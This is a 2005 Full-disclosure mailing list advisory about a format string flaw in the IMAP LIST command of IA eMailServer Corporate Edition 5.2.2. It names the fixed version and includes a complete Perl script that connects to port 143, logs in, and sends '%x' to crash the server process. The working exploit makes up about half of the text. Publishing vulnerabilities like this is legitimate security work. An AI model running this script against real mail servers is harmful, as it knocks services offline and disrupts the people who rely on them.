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  IA eMailServer IMAP format string vulnerability

From:Reed Arvin <reedarvin_(at)_gmail.com>
Date:27.06.2005
Subject:[Full-disclosure] Denial of Service Vulnerability in True North Software, Inc. IA eMailServer Corporate Edition Version: 5.2.2. Build: 1051.

Summary:
Denial of Service Vulnerability in True North Software, Inc. IA
eMailServer Corporate Edition Version: 5.2.2. Build: 1051.
(http://www.tnsoft.com/)

Details:
Input to the IMAP4 LIST command is not properly checked and/or
filtered. Issuing a single character '%x' as the second argument to
the LIST command will cause the MailServer.exe process to die.

Vulnerable Versions:
True North Software, Inc. IA eMailServer Corporate Edition Version:
5.2.2. Build: 1051.

Patches/Workarounds:
IA eMailServer Corporate Edition Version: 5.3.4. Build: 2019. is not
vulnerable to this attack. It is available at http://www.tnsoft.com/.

Exploit:
Run the following PERL script against the server. The process will die.

#===== Start IAeMailServer_DOS.pl =====
#
# Usage: IAeMailServer_DOS.pl <ip>
#        IAeMailServer_DOS.pl 127.0.0.1
#
# True North Software, Inc. IA eMailServer Corporate Edition
# Version: 5.2.2. Build: 1051.
#
# Download:
# http://www.tnsoft.com/
#
#############################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                   PeerPort => "143",
                                   Proto    => "TCP"))
{
       print "Attempting to kill IA eMailServer at $ARGV[0]:143...";

       sleep(1);

       print $socket "0000 LOGIN hello moto\r\n";

       sleep(1);

       print $socket "0001 LIST 1 \%x\r\n";

       close($socket);
}
else
{
       print "Cannot connect to $ARGV[0]:143\n";
}
#===== End IAeMailServer_DOS.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)

Vulnerability discovered using PeachFuzz
(http://reedarvin.thearvins.com/tools.html)
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